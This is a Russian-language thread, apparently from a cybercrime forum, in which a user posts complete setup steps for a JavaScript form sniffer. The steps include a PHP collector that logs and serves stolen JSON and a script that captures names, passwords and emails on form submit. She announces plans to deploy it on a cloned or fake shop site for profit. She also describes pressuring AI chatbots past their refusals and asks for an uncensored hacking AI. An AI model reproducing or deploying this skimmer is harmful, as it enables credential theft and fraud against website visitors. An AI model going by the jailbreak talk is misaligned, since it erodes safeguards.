sudo nano /var/www/html/sniffer_test/api.php

вставляем туда:
Код:
<?php
// API для приёма данных от сниффера

$logFile = __DIR__ . '/log.json';

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $raw = file_get_contents('php://input');
    $data = json_decode($raw, true);
    if (is_array($data)) {
        $entry = [
            'time' => date('Y-m-d H:i:s'),
            'payload' => $data['payload'] ?? $data
        ];
        $existing = file_exists($logFile) ? json_decode(file_get_contents($logFile), true) : [];
        $existing[] = $entry;
        file_put_contents($logFile, json_encode($existing, JSON_PRETTY_PRINT));
        http_response_code(200);
        echo json_encode(['status' => 'ok']);
        exit;
    }
    http_response_code(400);
    echo json_encode(['error' => 'invalid JSON']);
    exit;
}

if ($_SERVER['REQUEST_METHOD'] === 'GET') {
    header('Content-Type: application/json; charset=utf-8');
    $data = file_exists($logFile) ? file_get_contents($logFile) : '[]';
    echo $data;
    exit;
}

Сохраняем: Ctrl + O, Enter , Ctrl + X

3. Подключаем sniffer.js к форме. Пишем в терминале:​

Код:
sudo nano /var/www/html/sniffer_test/test_form.html

удаляем оттуда все, что там было, и вставляем туда тот код:
Код:
<!DOCTYPE html>
<html lang="ru">
<head>
  <meta charset="UTF-8">
  <title>Test формы</title>
  <script src="/sniffer_test/assets/sniffer.js"></script> <!-- ← Вот это и есть "добавить в head" -->
</head>
<body>
  <form action="sniffer_test/dummy_handler.php" method="POST">
    <label for="name">Имя:</label>
    <input type="text" name="name" id="name">

    <label for="password">Пароль:</label>
    <input type="password" name="password" id="password">

    <label for="email">Email:</label>
    <input type="email" name="email" id="email">

    <button type="submit">Отправить</button>
  </form>
</body>
</html>

4. Обновляем sniffer.js - в терминале пишем​

Код:
sudo nano /var/www/html/sniffer_test/assets/sniffer.js

удаляем все что внутри и вставляем вместо всего это -

Код:
console.log("Сниффер загружен");

document.addEventListener("DOMContentLoaded", function () {
  const form = document.querySelector("form");
  if (!form) return;

  form.addEventListener("submit", function (e) {
    const inputs = form.querySelectorAll("input");
    const payload = {};

    inputs.forEach(input => {
      payload[input.name] = input.value;
    });

    const data = {
      page: window.location.href,
      payload: payload
    };

    console.log("Отправка данных:", data);

    const xhr = new XMLHttpRequest();
    xhr.open("POST", "/sniffer_test/api.php", true);
    xhr.setRequestHeader("Content-Type", "application/json");
    xhr.send(JSON.stringify(data));
  });
});


Сохраняем: Ctrl + O, Enter , Ctrl + X


Тестируем​


открываем в браузере форму:


F12 → вкладка Console

вводим тестовые данные:
Посмотреть вложение 110441

открываем панель:
Код:
http://localhost/sniffer_test/index.html

нажимаем в форме отправить и видим это -

Посмотреть вложение 110442

а в панели, это:
Посмотреть вложение 110443

проверяем что данные записываются. вводим в терминале:
Код:
cat /var/www/html/sniffer_test/log.json

получаем ответ:
Посмотреть вложение 110444

работает!!
Благодарю society !!
👏

щас я еще какое то время буду соображать что с этим делать,
наверное нужно по хорошему купить сервак, сделать это на серваке, купить домен, вставить туда сайт. придумать копию ккого сайта сделать, или просто продавать какой нибудь несуществующий хлам задешево, - решить что лучше, ну и оплатить рекламу.

буду рада советам.
society - просто огонь!!!👍👍👍
спасибо, но почему ты не поставила GUI панель из прикрепленных исходников.. (вероятней всего ты ее поставила, но она там без стилей, стили ниже прикреплял)
 
спасибо, но почему ты не поставила GUI панель из прикрепленных исходников.. (вероятней всего ты ее поставила, но она там без стилей, стили ниже прикреплял)
потому что у меня нету таких же как у тебя скилов и навыков, society.

я даже понять не могу с какого места эту статью читать начинать нужно, чтобы реализовать, куда там.

и еще потому что чтобы реализовать это я должна была дать ссылку ии, а ссылки на этот форум так просто не даш, т.к у ии нету доступа незалогинившись, поэтому я ему дала ссылку на копию твоей статьи тут - https://carder.market/threads/js-ph...napisat-svoj-sniffer-i-panel-dla-nego.173034/ а там нету вложений 🙈

Я сделаю в скором времени опрос в одной из тем на форуме, какой софт люди хотят видеть на разборе в моей статье. Твой вариант мне очень понравился, оставил у себя пометку. Возможно, если не следующей, то через одну или парочку точно сделаю этот проект. Дело времени.
special for xss.pro by society.zip пароль неверный говорит, society please 🙏 дай верный пароль, я почти доделала, чуууть чуть осталось 🙂
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
и еще потому что чтобы реализовать это я должна была дать ссылку ии, а ссылки на этот форум так просто не даш, т.к у ии нету доступа незалогинившись, поэтому я ему дала ссылку на копию твоей статьи тут - https://carder.market/threads/js-ph...napisat-svoj-sniffer-i-panel-dla-nego.173034/ а там нету вложений 🙈
ого, на самом деле приятно осознавать, что люди, копируя чужие статьи указывают авторство. я польщен, если честно.

special for xss.pro by society.zip пароль неверный говорит, society please 🙏 дай верный пароль, я почти доделала, чуууть чуть осталось 🙂
пароль от архива xss[.]is (без квадратных скобок, система заменяет домен .is на .pro автоматически).

я даже понять не могу с какого места эту статью читать начинать нужно, чтобы реализовать, куда там.
статья - техническая, поэтому я разбираю этапы кода для людей, которые возможно только учатся кодить. для тебя нужно было лишь скачать все из архива(ов), и после установить на сервер)
ты проделала слишком много ненужных шагов, но за упорство и старания огромный +реп. так же за разбор моей статьи под супер-новичков прям отдельное спасибо!
 
ого, на самом деле приятно осознавать, что люди, копируя чужие статьи указывают авторство. я польщен, если честно.
но за упорство и старания огромный +реп. так же за разбор моей статьи под супер-новичков прям отдельное спасибо!
приятно, но спасибо скажешь когда я это реализую и заработает. т.к. я не планирую просто тестировать и все. к тебе должны посыпаться монетки. 💰💰 вот тогда скажешь спасибо.
а пока вся сложность в том, что ии не дает напрямую делать т.к. это нарушает закон. я уже и так и так изворачиваюсь. но все же есть идея тебе для новой статьи - Как развернуть свой черный хакерский ИИ без цензуры без правил. можно оффлайн на своем компе или на серваке, но чтобы мог ссылки смотреть и картинки принимать. я раньше пробовала несколько - сильно грузят систему, очень сильно тупят.. где то выкладывала обзор на каком то форуме. так и удалила все. но я согласна купить самый мощный комп или арендовать какой то мегамощный сервер для этого, если такого монстра можно создать. на данный момент очень много времени уходит на уговоры ии просто начать работать в этом направлении. я не могу сделать нормально потому что он постоянно отходит от темы и делает отсебятину "чтобы не нарушать..."

а сама я пока не обладаю таким как у тебя количеством скилов, чтобы самой реализовать это. (но буду благодарна, если скажешь стопку каких книжек прочесть чтобы без ии понимать как реализовать подобные статьи.)

было бы сильно быстрее если бы был нормальный ии

пока испробовала:
chat gpt - кажется заторможенным после copilot, много цензуры, ограничений
copilot - шустрый, но много цензуры, ограничений. если работать долго забывает над чем работал. работает хорошо только в коротком промежутке времени
deepseek - ограничения по размеру. моет просто сказать сори закончился объем создате новую страницу - и опять с начала все объяснять точн не вариант
grok - я не нашла что он лучше чем copilot или chatgpt

и еще какие то непомню всех
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх